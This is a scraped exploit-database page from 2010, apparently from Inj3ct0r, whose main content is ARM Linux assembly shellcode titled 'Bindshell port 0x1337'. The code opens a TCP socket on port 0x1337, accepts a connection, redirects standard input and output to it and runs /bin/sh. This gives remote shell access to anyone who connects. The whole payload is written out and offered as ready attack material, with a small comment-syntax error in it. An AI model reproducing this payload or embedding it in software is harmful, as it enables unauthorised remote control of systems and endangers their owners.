Home / os / win7

[linux/x86] - linux/ARM - Bindshell port 0x1337 Shellcode

Posted on 26 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>linux/ARM - Bindshell port 0x1337 Shellcode | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='linux/ARM - Bindshell port 0x1337 Shellcode by Daniel Godas-Lope. in linux/x86 | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>===========================================
linux/ARM - Bindshell port 0x1337 Shellcode
===========================================

/*
 * Title: arm-bind-listen
 * Brief: Bind a shell to port 0x1337 on any local address and
 *        wait for connections
 * Author: Daniel Godas-Lopez &lt;gmail account dgodas&gt;
 */
 
    /*
      soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     */
 
    mov %r0, $2     /* AF_INET */
    mov %r1, $1     /* SOCK_STREAM */
    mov %r2, $6     /* IPPRTOTO_TCP */
    push {%r0, %r1, %r2}
    mov %r0, $1     /* socket */
    mov %r1, %sp
    svc 0x00900066
    add %sp, %sp, $12
 
    mov %r6, %r0        /* r6 = soc_des */
 
    /*
      bind(soc_des, (struct sockaddr *) &amp;serv_addr, sizeof(serv_addr));
     */
 
.if 0 /* r0 == r6 already */
    mov %r0, %r6        /* soc_des */
.endif
 
    mov %r1, $0x37
    mov %r7, $0x13
    mov %r1, %r1, lsl $24
    add %r1, %r7, lsl $16
    add %r1, $2     /* port = 0x1337, family = 2 (AF_INET) */
    sub %r2, %r2, %r2   /* addr = 0.0.0.0 */
    push {%r1, %r2}
    mov %r1, %sp        /* pointer to sockaddr_in */
    mov %r2, $16        /* sizeof(struct sockaddr_in) */
     
    push {%r0, %r1, %r2}
    mov %r0, $2     /* bind */
    mov %r1, %sp
    svc 0x00900066
    add %sp, %sp, $20
 
    /*
      listen(soc_des, 1);
     /*
 
    mov %r1, $1     /* backlog (see man 2 listen) */
    mov %r0, %r6        /* soc_des */
    push {%r0, %r1}
    mov %r0, $4     /* listen */
    mov %r1, %sp
    svc 0x00900066
    add %sp, $8
 
    /*
      soc_cli = accept(soc_des, 0, 0);
     */
 
    mov %r0, %r6        /* soc_des */
    sub %r1, %r1, %r1
    sub %r2, %r2, %r2
    push {%r0, %r1, %r2}
    mov %r0, $5     /* accept */
    mov %r1, %sp
    svc 0x00900066
    add %sp, %sp, $12
 
    mov %r6, %r0        /* r6 = soc_cli */
 
    /*
      dup2(soc_cli,0);
      dup2(soc_cli,1);
      dup2(soc_cli,2);
     */
    mov %r1, $2
1:  mov %r0, %r6
    svc 0x0090003f
    subs %r1, %r1, $1
    bpl 1b
 
    /*
      execve(&quot;/bin/sh&quot;, parms, env);
     */
 
    sub %r1, %sp, $4    /* argv[0] = &quot;sh&quot; */
    sub %r2, %r2, %r2   /* argv[1] = 0x00000000 */
    mov %r3, $0x2f
    mov %r7, $0x62
    add %r3, %r7, lsl $8
    mov %r7, $0x69
    add %r3, %r7, lsl $16
    mov %r7, $0x6e
    add %r3, %r7, lsl $24   /* &#039;/&#039;  &#039;b&#039;  &#039;i&#039;  &#039;n&#039;  */
    mov %r4, $0x2f
    mov %r7, $0x73
    add %r4, %r7, lsl $8
    mov %r7, $0x68
    add %r4, %r7, lsl $16   /* &#039;/&#039;  &#039;s&#039;  &#039;h&#039;  0x00 */
    mov %r5, $0x73
    mov %r7, $0x68
    add %r5, %r7, lsl $8    /* &#039;s&#039;  &#039;h&#039;  0x00 0x00 */
 
    push {%r1, %r2, %r3, %r4, %r5}
 
    add %r0, %sp, $8    /* filename ptr */
    add %r1, %sp, $0    /* argv ptr */
    add %r2, %sp, $4    /* env ptr */
 
    svc 0x0090000b


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-26]</pre></body></html>

 

TOP

Malware :

Exploits :